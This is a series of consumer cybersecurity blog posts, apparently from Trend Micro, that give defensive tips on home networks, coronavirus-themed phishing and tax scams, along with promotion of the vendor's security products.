The bad guys are laser-focused on stealing your personal data and log-ins and increasingly see the remote worker as an easy target for leapfrogging into corporate networks. That’s not to mention the potential internet safety risks inherent in bored kids spending more time in front of their screens. To respond, you’ll need to create an equally focused “home security plan” governed by sensible policies and best practices. Here are some of the key areas to consider.

Protect your smart home and router

Increasingly, unprotected smart home devices are being targeted by cyber-criminals to turn into botnets to attack others. They might also provide sophisticated attackers with a stepping-stone into your corporate systems, via the home network. The home router, with its known flaws, is (after the modem) the digital front door to the smart home and the basis for your networking, so it should be first in any security strategy. Consider the following when tackling home network security:

  • Regularly check for router firmware updates and apply as soon as they’re available. (If you’re using a home gateway (modem + router) firmware updates are done by your ISP, so you won’t have the option to do this.)
  • Change factory default admin passwords and switch on two-factor authentication if available.
  • Disable UPnP and any remote management features.
  • Use WPA2 on your router for encrypted Wi-Fi. Pick passwords for access that aren’t easily guessed.
  • Put the router in middle of house if possible, so the signal is not overly exposed to strangers outside. Likewise for extenders.
  • Invest in security for the entire home network from a reputable provider like Trend Micro.

Secure your home office

Cyber-criminals are primed to take advantage of distracted home workers and potentially less secure PCs/devices. Secure this environment by doing the following:

  • Again, apply a home network security solution. This protects your work devices, while also protecting the devices you use for recreation.
  • Apply any security updates to OS/software.
  • Install/maintain endpoint security software on all machines/devices.
  • Never use work laptops for personal use.
  • Switch on 2FA for any work accounts.
  • Use a VPN if applicable whenever connecting to the office.
  • Stay alert to phishing/BEC attempts.
  • Take advantage of any training courses to stay up-to-speed on the latest scams.
  • Disable macros in Office files – these are often used by hackers to run malware.

Stay safe from phishing

Phishing is the number one tactic used by attackers to trick you into installing malware or handing over your log-ins. Emails, text messages, social media messages and more are spoofed to appear as if sent by a legitimate company or contact. In response:

  • Be cautious of any unsolicited emails/texts/messages even if they appear legitimate.
  • Don’t click on any links/buttons in unsolicited messages, or download attachments.
  • Check directly with the sender rather than clicking through links or buttons provided or entering any confidential details.
  • Invest in cybersecurity tools from a trusted vendor like Trend Micro, to spot and block scam emails and malicious downloads/websites.

Use video conferencing safely

New videoconferencing platforms can introduce risk, especially if you’re not familiar with the default settings. Here’s how to stay safe when video conferencing:

  • Check first for end-to-end encryption.
  • Only download videoconferencing apps from official iOS/Android stores and manufacturer websites.
  • Get familiar with privacy settings. Switch off camera access if you don’t want to appear on-screen.
  • Ensure you’re always on the latest software version.
  • Never click on links/open attachments in messages from unknown contacts.
  • Use a password manager to store long and strong log-ins, and switch on two-factor authentication (2FA) if available.

Stay safe shopping and banking

Next, protect your financial information and stay safe from e-commerce fraud by doing the following:

  • Install AV on all PCs and devices.
  • Always use the latest browser versions and HTTPS sites.
  • Never click through on sensational promos or ads on social media/in emails. Always visit the site directly.
  • Always be cautious: if special offers seem too good to be true, they usually are.
  • Use a secure browser, password manager, and 2FA in your online accounts.
  • Use a VPN app on any device you use to shop or bank.

Think about online safety for kids

They may be under your roof for more hours of the day than usual, but your children are also likely to be spending more time online. That means you need to have a measured conversation with them about internet safety, backed up with parental controls. Consider the following:

  • Urge your kids to think before clicking, and before sharing on social media.
  • Make sure you have installed anti-malware from a reputable vendor on all their devices.
  • Look for security products that check/update their social media privacy settings.
  • Discourage or block downloads from P2P sites.
  • Set up parental controls to block inappropriate content and/or to regulate screen time and time on certain sites or with certain apps. Then set up admin protections, so they can’t change the settings.
  • Share your concerns around sexting.

Mobile security best practices
Finally, sheltering at home has limits, particularly for restless kids. When they go to the store or out to the park, facemasks notwithstanding, they’re likely going to use their mobile devices, just as they’ll continue to do at home. Of course, you’re not exempt either from mobile threats. Ensure mobile security by

  • Sticking to the official Google Play and App Store marketplaces. Enforce this through smart settings on your children’s phones.
  • Running anti-malware on your mobile device, from a reputable company like Trend Micro.
  • Ensuring your family’s devices are using the latest OS version.
  • Ensuring your family devices have remote lock and wipe feature switched on, in case they’re lost or stolen.
  • Never brick or jailbreak the device, as this can expose it to security risks.

How Trend Micro can help

When it comes to protecting the home from security and privacy threats during lockdown, leave no stone unturned. Cyber-criminals will always look for the weak link in the chain and focus their efforts there. Network security is important, but it doesn’t replace the need for protection on each individual device. You’ll need to cover your router, network, smart devices, and all endpoints (PCs, laptops, mobiles and other devices). Here’s how Trend Micro can help:

Trend Micro Home Network Security

Trend Micro Home Network Security provides industry-leading protection against any threats to internet-connected devices in the home. The solution

  • Blocks dangerous file downloads during web browsing to stop ransomware, data theft, phishing, and other malware. Blocks remote access applications.
  • Protects all smart devices, such as smart TVs, thermostats, security cameras, etc., that don’t have their own security solutions.
  • Parental Controls and Guardian allow parents to track and restrict their children’s internet usage at home and on-the-go, which could free-up bandwidth for important conference calls.

Trend Micro Security (PC and Mac)

Trend Micro Security, available in various editions (led by Trend Micro Maximum Security), is Trend’s flagship endpoint security product for consumers. Available for both PCs and Macs, it features AI learning to stop advanced threats. Among a wide range of protections, it includes:

  • Web Threat Protection when browsing the internet, defending you against bad websites that can steal your data or download malicious files.
  • Machine Learning, to protect you from new and unknown threats.
  • Ransomware protection via Folder Shield, to stop unauthorized changes and back-up files encrypted by suspicious programs.
  • Anti-phishing and anti-spam protection for Outlook clients, as well as Gmail and Outlook webmail on the PC, and Gmail webmail on the Mac.
  • Privacy Scanner (for Facebook and Twitter), Social Networking Protection for protection against malicious links in social networks, Pay Guard for protecting your online banking and buying.
  • Parental Controls to limit which software and websites you kids may use.

Trend Micro Mobile Security:

Trend Micro Mobile Security provides endpoint security for all your mobile devices, whether Android or iOS-based.

  • Blocks dangerous websites and app downloads.
  • Helps protects your privacy on Twitter and Facebook.
  • Protects your kids’ devices.
  • Guards against identity theft.
  • Optimizes your device’s performance.

Additional Trend Micro Tools:

Network and endpoint security should be supplemented with tools that accomplish specific tasks, such as protecting your internet connections, your passwords, and your identity data. Trend Micro provides

  • Wi-Fi Protection/VPN Proxy One Mac | iOS. VPNs with an emphasis on web threat protection or privacy, respectively. The first is available on all four platforms; the second is targeted for Apple devices.
  • Password Manager. Manages and encrypts your passwords, and automates your logins, while ensuring you use unique, strong passwords across all of your online accounts.
  • ID Security. Tracks your credentials, particularly the ones you use for buying and banking, to see if breaches of any of your identity data have led to their sale on the Dark Web. Notifies you when it has, so you can take steps to protect it.
  • Premium Services. Parents working from home are not expected to be IT or Security experts, so now’s the time to ensure professional help is around when you need it by signing up for one of Trend Micro’s premium service packages for help configuring, troubleshooting, optimizing, and disinfecting your devices if they get infected.

Maintaining your family’s security and privacy on all their devices during the coronavirus lockdown above all means changing your mindset, to take into account the mix of work and play in the household during the “new normal.” Use these tips and tools during lockdown and you’ll be well on your way to ensuring you and your family’s safety from malicious viruses—both digital and natural.

The post Top Tips For Home Cybersecurity And Privacy In A Coronavirus-Impacted World (Part 2) appeared first on .

How to Stay Safe as Online Coronavirus Scams Spread

Here, we'll take a look at several best practices for protecting kids on the Internet, and how, as a parent or guardian, you can do your part to help safeguard young users' online activities.

Few national emergencies have the ability to strike panic into the populace quite like a virus pandemic. It’s fortunately something most of us have never had to experience, until now. At the time of writing, the number of global confirmed cases of Coronavirus infection, or COVID-19, has reached nearly 174,000 worldwide. Although the official US total currently remains a fraction of that (around 4,000), problems with testing mean many cases are likely to be going unreported here.

This is a difficult time for many Americans, as it is for citizens all over the world. But unfortunately it’s extraordinary global events like this that cyber-criminals look for in order to make their schemes more successful. True to form, they’re using mass awareness of the outbreak and a popular desire for more information on the virus, to trick users into giving away personal information and log-ins, or to unwittingly install malware on their devices.

As organizations enforce remote working to reduce the impact of the virus, many of you will be logging-on from home or your mobile computing devices, which may have fewer built-in protections from such threats. This makes it more important than ever to know how the bad guys are trying to cash in on COVID-19 and what you can do to stay safe.

Here’s a quick guide to the key online threats and security tips:

Phishing for trouble

Decades before COVID-19 burst onto the scene, a different kind of pandemic was spreading across the globe. Phishing messages have been one of the most popular tools in the hackers’ arsenal for years. In fact, Trend Micro blocked nearly 48 billion email-borne threats in 2019, 91% of the total we detected. Phishing is designed to trick the user into handing over their log-ins or personal and financial details, or persuading them to unwittingly download malware. Cyber-criminals typically achieve this by spoofing an email to make it appear as if sent from a legitimate and trustworthy source.

Once a user has been hooked, they are enticed into clicking on a malicious link or opening a malware-laden attachment. This could be anything from a banking trojan designed to steal online banking log-ins, to a piece of ransomware which will lock the user out of their PC until they pay a fee. It could even be cryptojacking malware which sits on the infected machine, quietly mining for Bitcoin while running up large energy bills and slowing down your PC.

The bad news is that phishing messages — whether sent by email, social media, text or messaging app — are getting harder to spot. Many now feature perfect English, and official logos and sender domains. They also often use current newsworthy events to trick the user into clicking. And they don’t get more high-profile than the COVID-19 pandemic.

Depending on how well protected your computing devices are, you may be more likely to receive one of these scam messages than be exposed to the virus itself. So, it pays to know what’s out there.

Watch out for these scams

The phishing landscape is evolving all the time. But here is a selection of some of the most common scams doing the rounds at the moment:

‘Official’ updates

Many of these emails purport to come from official organizations such as the US Center for Disease Control and Prevention (CDC), or the World Health Organization (WHO). They claim to contain key updates on the spread of the virus and must-read recommendations on how to avoid infection. Booby-trapped links and attachments carry malware and/or could redirect users to phishing sites.

Coronavirus map

Sometimes legitimate tools can be hijacked to spread malware. Researchers have spotted a version of the interactive Coronavirus dashboard created by Johns Hopkins University which was altered to contain information-stealing malware known as AZORult. If emails arrive with links to such sites, users should exercise extreme caution.

Corporate updates

Many big brands are proactively contacting their customer base to reassure them of the steps they are taking to keep staff and customers safe from the virus. But here too, the hackers are jumping in with spoof messages of their own purporting to come from the companies you may do business with. FedEx is one such global brand that has been spoofed in this way.

Donations

Another trick is to send phishing emails calling for donations to help fund research into the virus. One, claiming to come from the “Department of Health” has a subject line, “URGENT: Coronavirus, Can we count on your support today?” A key tactic in phishing emails is to create a sense of urgency like this to rush the reader into making hasty decisions.

Click here for a cure

One scam email claims to come from a medical professional and contains details about a vaccine for COVID-19 which has been “hushed up” by global governments. Of course, clicking through to find the non-existent ‘cure’ will bring the recipient nothing but trouble.

Tax refunds

In the UK, users have received emails spoofed to appear as if sent from the government, and promising a tax refund to help citizens cope with the financial shock of the pandemic. As governments in the US and elsewhere start to take more interventionist measures to prop up their economies, we can expect more of these types of phishing email.

How to stay safe

The good news is that there’s plenty you can do to protect you and your family from phishing emails like these. A blend of the following technical and human fixes will go a long way to minimizing the threat:

  • Be cautious of any unsolicited emails/social media messages etc, even if they appear to come from a reputable organization or a known contact.
  • Don’t click through on any links/buttons in unsolicited emails, or download attachments.
  • If an email asks you for personal data, check directly with the sender rather than clicking through and entering those details.
  • Invest in cybersecurity tools from a trusted vendor like Trend Micro, to spot and block scam emails and block malicious downloads and websites.
  • Disable macros in Office files – these are often used by hackers to run malware.

How Trend Micro can help

Fortunately, Trend Micro Security can also help. Among its anti-phishing features are the following:

Antispam for Outlook: includes checks on email sender reputation, employs web threat protection to block malicious URLs in messages, and scans for threats in files attached to email messages.

Fraud Buster: uses leading-edge AI technology to detect fake emails in Gmail and Outlook webmail that don’t contain malicious URLs or attachments, but still pose a risk to the user.

To find out more about how Trend Micro can help keep your family safe from online threats and phishing, go to our Trend Micro Security homepage, or watch our video series: How to Prevent Phishing, Part 1 and Part 2.

The post How to Stay Safe as Online Coronavirus Scams Spread appeared first on .

Tax Scams – Everything you need to know to keep your money and data safe

Tax season has always been a pretty nerve-wracking time for hard-working Americans. But over the years, technology advances have arrived to gradually make the process a bit easier. The bad news is that they can also introduce new cyber risks and even more stress.

There are two things that cybercriminals are always on the hunt for: people’s identity data from their accounts, and their money. And during the tax-filing season both can be unwittingly exposed. Over the years, cybercriminals have adapted multiple tools and techniques to part taxpayers with their personal information and funds.

Let’s take look at some of the main threats out there and what you can do to stay safe.

What do they want?

Cybercrime is a highly efficient money-making business. Some reports suggest this underground economy generates as much as $1.5 trillion each year. (See Into the Web of Profit, April 2018, McGuire, Bromium.) And tax-related scams are an increasingly popular way for the bad guys to drive-up profits. The Internal Revenue Service (IRS) claims that “thousands of people have lost millions of dollars and their personal information” to such attacks.

The bottom line is that they’re after one of two things: to trick you into wiring funds to them, and/or to get hold of your personally identifiable information (PII), including bank account and Social Security Numbers (SSNs). This personal data can subsequently be used to defraud you or the IRS, or may be deployed in follow-on identity fraud schemes to capture illicit funds from you.

There are various ways cyber-criminals can achieve these goals. The most common is by using social engineering tactics to trick taxpayers into sending money or personal information. But they might also use malware, either delivered to you personally or targeted at your tax preparer. This means you not only have to look after your own cybersecurity but also demand that the third-party businesses you work with store and transmit your sensitive information securely.

Look out for these scams

Here’s a round-up of the most popular tactics used by tax scammers today:

Impersonation: The fraudster gets in touch pretending to be an IRS representative. This could be via email, phone, social media or even SMS. They usually claim you owe the IRS money in unpaid taxes or fines and demand a wire transfer, or funds from a prepaid debit card. Sometimes they may ask for personal and financial details—for example, by claiming you’re entitled to a large tax refund and they just need you to supply your bank account info.

These interactions are usually pushy. The scammer knows the best way of making you pay up is by creating a sense of urgency and, sometimes, shaming the individual into believing they’ve been withholding tax payments. Phishing emails may look highly convincing, right down to the logo and sender domain, while phone callers will use fake names and badge numbers. Sometimes the scammers use personal data they may have stolen previously or bought on the Dark Web to make their communications seem more convincing.

In some impersonation scams, the fraudsters may even pretend to work for charities and ask for personal details to help disaster victims with tax refund claims.

Spoofing, phishing, and malware: In some cases, a text, email or social media message spoofed to appear as if sent from the IRS or your tax preparer actually contains malware. The scammers use the same tactics as above but trick the recipient into clicking on a malicious link or opening an attachment laden with malware. The covert download that follows could result in: theft of your personal information; your computer being completely hijacked by hackers via remote control software; or a ransomware download that locks your computer until you pay a fee.

Fake tax returns: Another trick the scammers employ is to use stolen SSNs and other personal information to file tax returns on your behalf. They can then try to claim a large payment in tax refunds from the IRS. The PII they use to file in your name may have been taken from a third-party source without your knowledge, and the first you might hear of it is when you go to file a legitimate tax return. It can take months to resolve the problem.

Attacks targeting tax preparers: Over half of Americans use third-party tax preparation companies to help them with their returns. However, this offers another opportunity for scammers to get hold of your sensitive information. In one recently discovered campaign, malware deployed on tax preparers’ websites was designed to download to the visitor’s computer as soon as they loaded the page. The IRS warns that businesses large and small are potentially at risk, as scammers are keen to get hold of tax information which enables them to file highly convincing fake returns in your name.

What to do

The good news is that by taking a few simple steps you can insulate yourself from the worst of these scams. Remember: the IRS does not contact taxpayers by email, text messages or social media to request personal/financial information— so if you receive communications that do, they are definitely a scam. It’s also important to remember that scams happen all year round, not just in the run-up to the tax filing deadline. That means, unfortunately, that you need to be on your guard all the time.

Here are a few other recommendations:

  • Install anti-malware from a reputable provider to block phishing emails and websites and prevent malware downloads.
  • Be wary of any unsolicited messages purporting to come from your tax preparer or the IRS. Always contact them directly to check whether it’s a genuine communication or not.
  • Don’t click on any links in unsolicited emails, or download attachments.
  • Obtain an Identity Protection PIN from the IRS before filing your taxes. This will prevent fake returns being filed in your name.
  • Alert phishing@irs.gov about any unsolicited emails from IRS scammers.
  • Protect your log-ins with tax preparation companies. Switch on multi-factor authentication (MFA) if available, and/or use a password manager to make your logins hard to guess or crack.

It also pays to demand that your tax preparer take their own precautions to keep your data secure. They should not be sending sensitive data or documents unencrypted in emails and must take steps on their own to combat phishing emails that target employees, since these can cascade to you during your tax preparation process. Whether hosted in the cloud or running on-premises, the servers that hold your data should also have adequate protection—and you have a right (and a duty to yourself) to ask ahead of time what they’re doing to protect it.

According to the IRS tax preparers should put the following internal controls in place:

  • Install anti-malware on all web and storage servers and keep their software automatically updated.
  • Encourage the use of unique, strong passwords via a password manager for each account, and deploy multi-factor authentication technology for clients.
  • Encrypt all sensitive files and emails exchanged with strong password protections.
  • Back-up sensitive data regularly to a secure off-site source.
  • Wipe clean/destroy any old hard drives and printers containing sensitive data.
  • Limit access to taxpayer data to staff who need to know.

How Trend Micro can help

Trend Micro offers a range of security tools to help taxpayers keep their personal and financial information safe from fraudsters.

Our flagship consumer solution Trend Micro Security (TMS) provides the following protections:

  • Protects against phishing links in emails that can take you to fraudulent sites. Its Fraud Buster feature for Gmail and Hotmail extends this to webmail.
  • Blocks malicious website downloads and scans for malware hidden in attachments.
  • Protects against ransomware and theft of sensitive data via Folder Shield.
  • Protects and manages strong, unique passwords with Password Manager, which is bundled with Trend Micro Maximum Security.

To find out more, go to our Trend Micro Security website.

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